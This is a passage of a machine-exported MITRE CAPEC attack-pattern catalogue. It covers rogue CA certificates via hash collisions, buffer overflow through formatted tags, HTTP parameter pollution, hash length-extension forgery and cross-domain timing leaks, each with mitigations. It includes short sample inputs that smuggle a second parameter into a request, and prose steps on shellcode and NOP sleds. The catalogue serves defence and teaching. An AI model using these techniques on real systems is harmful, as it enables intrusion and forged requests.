signed by a valid certificate authority despite only one having been signed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Certification Authority is using a hash function with insufficient collision resistance to generate the certificate hash to be signed</xhtml:div> + + + + + + + + + + + + #indSkillSkill24500 + Skill_24500 + + + + + + + + + + + + + + Understanding of how to force a hash collision in X.509 certificates + + + + + + + + + + + + #indSkillSkill24501 + Skill_24501 + + + + + + + + + + + + + + An attacker must be able to craft two X.509 certificates that produce the same hash value + + + + + + + + + + + + #indSkillSkill24502 + Skill_24502 + + + + + + + + + + + + + + Knowledge needed to set up a certification authority + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Knowledge of a certificate authority that uses hashing algorithms with poor collision resistance</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A valid certificate request and a malicious certificate request with identical hash values</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence24509 + Consequence_24509 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Certification Authorities need to stop using deprecated or cryptographically insecure hashing algorithms to hash the certificates that they are about to sign. Instead they should be using stronger hashing functions such as SHA-256 or SHA-512.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:b xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;MD5 Collisions&lt;/xhtml:b&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The MD5 algorithm is not collision resistant, allowing attackers to use spoofing attacks to create rogue certificate Authorities.&lt;/xhtml:p&gt;See also: CVE-2004-2761</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:b xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;SHA1 Collisions&lt;/xhtml:b&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The SHA1 algorithm is not collision resistant, allowing attackers to use spoofing attacks to create rogue certificate Authorities.&lt;/xhtml:p&gt;See also: CVE-2005-4900</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:b xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;PKI Infrastructure vulnerabilities&lt;/xhtml:b&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Research has show significant vulnerabilities in PKI infrastructure. Trusted certificate authorities have been shown to use weak hashing algorithms after attacks have been demonstrated against those algorithms. Additionally, reliable methods have been demonstrated for generated MD5 collisions that could be used to generate malicious CSRs.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 327 + + + + + 295 + + + + + 290 + + + + + + + + + + + + #indReferenceReference24536 + Reference_24536 + + + + + + + + + REF-395 + + + + + + + + + + + + #indReferenceReference24537 + Reference_24537 + + + + + + + + + REF-587 + + + + + + + + + + + + #indContentHistoryContentHistory24539 + Content_History_24539 + + + + + + + + + + + + + + + + #indSubmissionSubmission24540 + Submission_24540 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification24545 + Modification_24545 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Description Summary + + + + + + + + + + + + #indModificationModification24551 + Modification_24551 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification24557 + Modification_24557 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Consequences, Description, Example_Instances, Likelihood_Of_Attack, Mitigations, Prerequisites, References, Resources_Required, Skills_Required, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification24563 + Modification_24563 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Description, Execution_Flow + + + + + + + + + + + + #indModificationModification24569 + Modification_24569 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification24575 + Modification_24575 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Execution_Flow, Extended_Description + + + + + + + + + + + + #indModificationModification24581 + Modification_24581 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName24587 + Previous_Entry_Name_24587 + + + + + + + + + 2017-05-01 + + + + + Creating a Rogue Certificate Authority Certificate + + + + + + + + + + + + #CAPEC-46 + Overflow Variables and Tags + + + + + + + + + 46 + + + + + Overflow Variables and Tags + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This type of attack leverages the use of tags or variables from a formatted configuration data to cause buffer overflow. The adversary crafts a malicious HTML page or configuration file that includes oversized strings, thus causing an overflow.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern24596 + Related_Attack_Pattern_24596 + + + + + + + + + + + + + + 100 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern24597 + Related_Attack_Pattern_24597 + + + + + + + + + + + + + + 8 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern24598 + Related_Attack_Pattern_24598 + + + + + + + + + + + + + + 10 + + + + + + + + + + + + #indAttackStepAttackStep24601 + Attack_Step_24601 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify target application] The adversary identifies a target application or program to perform the buffer overflow on. Adversaries look for applications or programs that accept formatted files, such as configuration files, as input.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep24606 + Attack_Step_24606 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find injection vector] The adversary identifies an injection vector to deliver the excessive content to the targeted application's buffer.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Knowing the type of file that an application takes as input, the adversary takes a normal input file and modifies a single variable or tag to contain a large amount of data. If there is a crash, this means that a buffer overflow attack is possible. The adversary will keep changing single variables or tags one by one until they see a change in behavior.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep24612 + Attack_Step_24612 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft overflow content] The adversary crafts the content to be injected. If the intent is to simply cause the software to crash, the content need only consist of an excessive quantity of random data. If the intent is to leverage the overflow for execution of arbitrary code, the adversary crafts the payload in such a way that the overwritten return address is replaced with one of the adversary's choosing.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create malicious shellcode that will execute when the program execution is returned to it.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a NOP-sled in the overflow content to more easily "slide" into the malicious code. This is done so that the exact return address need not be correct, only in the range of all of the NOPs</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep24619 + Attack_Step_24619 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Overflow the buffer] The adversary will upload the crafted file to the application, causing a buffer overflow.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target program consumes user-controllable data in the form of tags or variables.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target program does not perform sufficient boundary checking.</xhtml:div> + + + + + + + + + + + + #indSkillSkill24630 + Skill_24630 + + + + + + + + + + + + + + An adversary can simply overflow a buffer by inserting a long string into an adversary-modifiable injection vector. The result can be a DoS. + + + + + + + + + + + + #indSkillSkill24631 + Skill_24631 + + + + + + + + + + + + + + Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level. + + + + + + + + + + + + #indConsequenceConsequence24634 + Consequence_24634 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence24638 + Consequence_24638 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence24645 + Consequence_24645 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence24649 + Consequence_24649 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a language or compiler that performs automatic bounds checking.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use an abstraction library to abstract away risky APIs. Not a complete solution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use OS-level preventative functionality. Not a complete solution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not trust input data from user. Validate all user input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A buffer overflow vulnerability exists in the Yamaha MidiPlug that can be accessed via a Text variable found in an EMBED tag.&lt;/xhtml:p&gt;See also: CVE-1999-0946</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A buffer overflow in Exim allows local users to gain root privileges by providing a long :include: option in a .forward file.&lt;/xhtml:p&gt;See also: CVE-1999-0971</xhtml:div> + + + + + 120 + + + + + 118 + + + + + 119 + + + + + 74 + + + + + 20 + + + + + 680 + + + + + 733 + + + + + 697 + + + + + + + + + + + + #indReferenceReference24678 + Reference_24678 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory24680 + Content_History_24680 + + + + + + + + + + + + + + + + #indSubmissionSubmission24681 + Submission_24681 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification24686 + Modification_24686 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification24692 + Modification_24692 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification24698 + Modification_24698 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification24704 + Modification_24704 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Skills_Required + + + + + + + + + + + + #indModificationModification24710 + Modification_24710 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-460 + HTTP Parameter Pollution (HPP) + + + + + + + + + 460 + + + + + HTTP Parameter Pollution (HPP) + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary adds duplicate HTTP GET/POST parameters by injecting query string delimiters. Via HPP it may be possible to override existing hardcoded HTTP parameters, modify the application behaviors, access and, potentially exploit, uncontrollable variables, and bypass input validation checkpoints and WAF rules.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern24723 + Related_Attack_Pattern_24723 + + + + + + + + + + + + + + 15 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern24724 + Related_Attack_Pattern_24724 + + + + + + + + + + + + + + 676 + + + + + + + + + + + + #indAttackStepAttackStep24727 + Attack_Step_24727 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find User Input] The adversary finds anywhere in the web application that uses user-supplied input in a form or action. This can also be found by looking at parameters in the URL in the navigation bar of the browser</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep24732 + Attack_Step_24732 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Add Duplicate Parameter Values] Once the adversary has identified what user input is used as HTTP parameters, they will add duplicates to each parameter one by one to observe the results. If the response from the HTTP request shows the duplicate parameter value concatenated with the original parameter value in some way, or simply just the duplicate parameter value, then HPP is possible.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In the URL, add a duplicate parameter by using the "&amp;" delimiter. For example "par1=val1" becomes "par1=val1&amp;par1=val2". Depending on the backend API, this could be treated as "par1=val1, val2", which could lead to par1 being set to val2, ignoring val1.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If the request is created based on user input directly on the page, the adversary will test by adding an encoded delimiter to the input. For example, the adverary might supply "1000%26action=withdraw" and the backend might interpret a POST request with the paramters "action=deposit&amp;amount=1000&amp;action=withdraw"</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep24739 + Attack_Step_24739 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Leverage HPP] Once the adversary has identified how the backend handles duplicate parameters, they will leverage this by polluting the paramters in a way that benefits them. In some cases, hardcoded parameters will be disregarded by the backend. In others, the adversary can bypass a WAF that might only check a parameter before it has been concatenated by the backend, resulting in malicious queries getting through.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">HTTP protocol is used with some GET/POST parameters passed</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Any tool that enables intercepting and tampering with HTTP requests</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: If using a Web Application Firewall (WAF), filters should be carefully configured to detect abnormal HTTP requests</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Perform URL encoding</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Use strict regular expressions in URL rewriting</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Beware of multiple occurrences of a parameter in a Query String</xhtml:div> + + + + + 88 + + + + + 147 + + + + + 235 + + + + + + + + + + + + #indTaxonomyMappingWebParameterTampering + Web Parameter Tampering + + + + + + + + + + + + + + Web Parameter Tampering + + + + + + + + + + + + #indReferenceReference24768 + Reference_24768 + + + + + + + + + REF-397 + + + + + + + + + + + + #indReferenceReference24769 + Reference_24769 + + + + + + + + + REF-606 + + + + + Testing for HTTP Parameter Pollution + + + + + + + + + + + + #indContentHistoryContentHistory24771 + Content_History_24771 + + + + + + + + + + + + + + + + #indSubmissionSubmission24772 + Submission_24772 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification24777 + Modification_24777 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Mitigations, References, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification24783 + Modification_24783 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification24789 + Modification_24789 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Execution_Flow + + + + + + + + + + + + #CAPEC-461 + Web Services API Signature Forgery Leveraging Hash Function Extension Weakness + + + + + + + + + 461 + + + + + Web Services API Signature Forgery Leveraging Hash Function Extension Weakness + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary utilizes a hash function extension/padding weakness, to modify the parameters passed to the web service requesting authentication by generating their own call in order to generate a legitimate signature hash (as described in the notes), without knowledge of the secret token sometimes provided by the web service.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;When web services require callees to authenticate, they sometimes issue a token / secret to the caller that the caller is to use to sign their web service calls. In one such scheme the caller, when constructing a request, would concatenate all of the parameters passed to the web service with the provided authentication token and then generate a hash of the concatenated string (e.g., MD5, SHA1, etc.). That hash then forms the signature that is passed to the web service which is used on the server side to verify the origin authenticity and integrity of the message. Because of the iterative design of the hash function, it is possible, from only the hash of a message and its length, for an adversary to conduct signature forgery by computing the hash of longer messages that start with the initial message and include the padding required for the initial message to reach a multiple of 512 bits. It is important to note that the attack not limited to MD5 and will work on other hash functions such as SHA1.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern24807 + Related_Attack_Pattern_24807 + + + + + + + + + + + + + + 115 + + + + + + + + + + + + #indAttackStepAttackStep24810 + Attack_Step_24810 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find a vulnerable web service] The adversary finds a web service that uses a vulnerable authentication scheme, where an authentication token is concatenated with the parameters of a request and then hashed</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Read application documentation to learn about authentication schemes being used</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Observe web service traffic to look for vulnerable authentication schemes</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep24817 + Attack_Step_24817 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Attempt adding padding to parameters] An adversary tests if they can simply add padding to the parameters of a request such that the request is technically changed, with the hash remaining the same</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Exploit the hash function extension / padding weakness with only padding to test the weakness</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep24823 + Attack_Step_24823 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Add malicious parameters to request] Add malicious parameters to a captured request in addition to what is already present. Do this by exploiting the padding weakness of the hash function and send the request to the web service so that it believes it is authenticated and acts on the extra parameters.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Exploit the hash function extension / padding weakness by adding malicious parameters to a web service request such that it is still deemed authentic</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Web services check the signature of the API calls</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Authentication tokens / secrets are shared between the server and the legitimate client</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The API call signature is generated by concatenating the parameter list with the shared secret and hashing the result.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An iterative hash function like MD5 and SHA1 is used.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker is able to intercept or in some other way gain access to the information passed between the legitimate client and the server in order to retrieve the hash value and length of the original message.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The communication channel between the client and the server is not secured via channel security such as TLS</xhtml:div> + + + + + + + + + + + + #indSkillSkill24839 + Skill_24839 + + + + + + + + + + + + + + Medium level of cryptography knowledge, specifically how iterative hash functions work. This is needed to select proper padding. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Access to a function to produce a hash (e.g., MD5, SHA1)&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Tools that allow the attacker to intercept a message between the client and the server, specifically the hash that is the signature and the length of the original message concatenated with the secret bytes&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Use a secure message authentication code (MAC) function such as an HMAC-SHA1</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">To leverage an attack against the has function extension / padding weakness, consider the message to be passed to the web service is M (this message includes the parameters passed to the web service concatenated with the secret token / key bytes). The message M is hashed and that hash is passed to the web service and is used for authentication. The attacker does not know M, but can see Hash (M) and Length (M). The attacker can then compute Hash (M || Padding (M) || M') for any M'. The attacker does not know the entire message M, specifically the attacker does not know the secret bytes, but that does not matter. The attacker is still able to sign their own message M' and make the called web service verify the integrity of the message without an error.</xhtml:div> + + + + + 328 + + + + + 290 + + + + + + + + + + + + #indReferenceReference24858 + Reference_24858 + + + + + + + + + REF-398 + + + + + + + + + + + + #indContentHistoryContentHistory24860 + Content_History_24860 + + + + + + + + + + + + + + + + #indSubmissionSubmission24861 + Submission_24861 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification24866 + Modification_24866 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Prerequisites, Description Summary + + + + + + + + + + + + #indModificationModification24872 + Modification_24872 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Description, Example_Instances + + + + + + + + + + + + #indModificationModification24878 + Modification_24878 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification24884 + Modification_24884 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-462 + Cross-Domain Search Timing + + + + + + + + + 462 + + + + + Cross-Domain Search Timing + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;For GET requests an attacker could for instance leverage the "img" tag in conjunction with "onload() / onerror()" javascript events. For the POST requests, an attacker could leverage the "iframe" element and leverage the "onload()" event. There is nothing in the current browser security model that prevents an attacker to use these methods to time responses to the attackers' cross domain requests. The timing for these responses leaks information. For instance, if a victim has an active session with their online e-mail account, an attacker could issue search requests in the victim's mailbox. While the attacker is not able to view the responses, based on the timings of the responses, the attacker could ask yes / no questions as to the content of victim's e-mails, who the victim e-mailed, when, etc. This is but one example; There are other scenarios where an attacker could infer potentially sensitive information from cross domain requests by timing the responses while asking the right questions that leak information.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern24900 + Related_Attack_Pattern_24900 + + + + + + + + + + + + + + 54 + + + + + + + + + + + + #indAttackStepAttackStep24903 + Attack_Step_24903 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine service to send cross domain requests to] The adversary first determines which service they will be sending the requests to</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep24908 + Attack_Step_24908 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Send and time various cross domain requests] Adversaries will send a variety of cross domain requests to the target, timing the time it takes for the target to respond. Although they won't be able to read the response, the adversary can use the time to infer information about what the service did upon receiving the request.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Using a GET request, leverage the "img" tag in conjunction with "onload() / onerror()" javascript events to time a response</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Using a POST request, leverage the "iframe" element and use the "onload()" event to time a response</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep24915 + Attack_Step_24915 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Infer information from the response time] After obtaining reponse times to various requests, the adversary will compare these times and infer potentially sensitive information. An example of this could be asking a service to retrieve information and random usernames. If one request took longer to process, it is likely that a user with that username exists, which could be useful knowledge to an adversary.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Compare timing of different requests to infer potentially sensitive information about a target service</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ability to issue GET / POST requests cross domainJava Script is enabled in the victim's browserThe victim has an active session with the site from which the attacker would like to receive informationThe victim's site does not protect search functionality with cross site request forgery (CSRF) protection</xhtml:div> + + + + + + + + + + + + #indSkillSkill24926 + Skill_24926 + + + + + + + + + + + + + + Some knowledge of Java Script + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ability to issue GET / POST requests cross domain</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence24932 + Consequence_24932 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: The victim's site could protect all potentially sensitive functionality (e.g. search functions) with cross site request forgery (CSRF) protection and not perform any work on behalf of forged requests</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: The browser's security model could be fixed to not leak timing information for cross domain requests</xhtml:div> + + + + + 385 + + + + + 352 + + + + + 208 + + + + + + + + + + + + #indReferenceReference24947 + Reference_24947 + + + + + + + + + REF-399 + + + + + + + + + + + + #indContentHistoryContentHistory24949 + Content_History_24949 + + + + + + + + + + + + + + + + #indSubmissionSubmission24950 + Submission_24950 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification24955 + Modification_24955 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification24961 + Modification_24961 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification24967 + Modification_24967 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Consequences + + + + + + + + + + + + #indModificationModification24973 + Modification_24973 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Mitigations + + + + + + + + + + + + #indModificationModification24979 + Modification_24979 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification24985 + Modification_24985 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-463 + Padding Oracle Crypto Attack + + + + + + + + + 463 + + + + + Padding Oracle Crypto Attack + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on 